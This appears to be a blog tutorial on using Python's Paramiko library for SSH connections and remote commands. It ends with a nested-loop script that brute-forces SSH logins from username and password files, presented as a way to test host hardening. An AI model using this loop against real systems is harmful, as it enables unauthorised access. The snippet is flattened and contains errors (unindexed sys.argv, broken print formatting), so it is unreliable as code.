I am pretty sure that most of you came here because of the word “Brute force”, which needless to say will be covered in this article, but it is just a minor change in concept which I will be explaining here. So SSH, a protocol that most of us use in one form or the other for our daily tasks/activities either for login to a shell on a remote host, or for executing a single command on a remote host, or even for Secure file transfer. But what if you wanted to do more, like writing scripts to automate certain tasks or maybe even an attack script to see if correct SSH hardening parameters have been implemented.
For those who like to code in python, “Paramiko” is the module just for that. This is something I recently came across while working on a project and was able to test wide array of features on remote devices, including the resilience against a simple brute force.
What is Paramiko ?
Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol, providing both client and server functionality. While it leverages a Python C extension for low level cryptography, Paramiko itself is a pure Python interface around SSH networking concepts. You can read the whole documentation “here” , but i would cover just the very basics to help you connect to the remote host.
How to connect using Paramiko?
We start of by creating an SSH client object. Doing so will allow us to access the methods of that object.
ssh = paramiko.SSHClient()
We then proceed by setting the missing host key policy to paramiko’s auto add policy, i.e.
Doing so will enable automatic addition of any missing host keys in the known_host file. At any given time when you connect to a server via SSH, the host keys get stored in this known_host file. If a host key is missing then it is more or less an unknown host, and you may not want to trust the host. Thus paramiko’s reject policy kicks in and rejects the host because of this missing entry. Since the server’s that we are working with are known to us, we use the auto add policy which allows paramiko to automatically store the keys in the know_hosts file.
Having done the above, we can now proceed to connect to the device by calling in the ssh.connect function.
The argument that I used for the function include the following:
• hostname (str) – the server to connect to
• port (int) – the server port to connect to
• username (str) – the username to authenticate as (defaults to the current local username)
• password (str) – a password to use for authentication or for unlocking a private key
• look_for_keys (bool) – set to False to disable searching for discoverable private key files in ~/.ssh/
• allow_agent (bool) – set to False to disable connecting to the SSH agent
There are more parameters that you can refer to in the official documentation. If the above is executed correctly, you should have connectivity with the remote server.
Now that I am connected, how do I execute commands ?
Now to execute commands you can either hard code, by passing the command itself, if its only one command you are interested in, or store it in a variable via user input on the prompt and then execute it by passing that variable.
In this case we will be storing it in a variable and passing it as below:
stdin, stdout, stderr = ssh.exec_command(command)
stdin : Standard input, used for sending in the data stream, in this case the commands to execute
stdout : Standard output, used for reading the output stream
stderr : Used for writing any error messages
NOTE: If we execute the command in above fashion then for each execution a new channel is created, thereby making the whole process non interactive. But this form of execution is good when you only have a single command to execute or a sequence of commands that are not related to the output of the previous one. However, in the case your commands are dependent on the output of the previous execution there is a way to create and interactive session using stdin and stdout but that will be later, probably in another post with the source code.
Once a command is executed, you can use stdout and store it in another variable to print on the terminal, like this:
My source code for reference !
For your convenience I have a small snippet of code that executes the above mentioned steps, available at GitHub Link
The output looks something like this when executed :
Wait! Where’s the brute force attack?
As we all know, a brute force attack is the cyberattack equivalent of trying every possible combination of a username and a password, and eventually finding the right one to get access to the host. So now being a programmer who has written a script which prompts you to enter your Username and Password, what is it that you need to implement in your code that simulates this attack ?
Simple, instead of asking the user for providing the input, if you had a file with all the possible usernames and another file with all the possible passwords, you’d only need to create a loop within another loop which would take the values from these files and then run them against the host to see which one goes through. You can even you use concept of threading to further speed up the execution. Creating something like this can then be used to test the behavior of the host against such an attack. Here is a small example.
user = open(sys.argv) # Passing the userfile at the command line psswd = open(sys.argv) # Passing the passwd at the command line userFile = user.readlines() psswdFile = psswd.readlines() ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) breakFlag=0 for uLine in userFile: for pLine in psswdFile: try: ssh.connect(hostname=host,port=portnumber, username=uLine.strip(),password=pLine.strip(),look_for_keys=False, allow_agent=False) print('[+] SUCCESS : Connection established to HOST: '+host) print('[+] CREDENTIALS : User ID- %s| Password- %s\n'%username,%password) breakFlag=1 break except: print('[*] Attack in progress ') continue if breakFlag == 1: break
Hope this was educational and that you enjoyed reading it. Happy Hunting !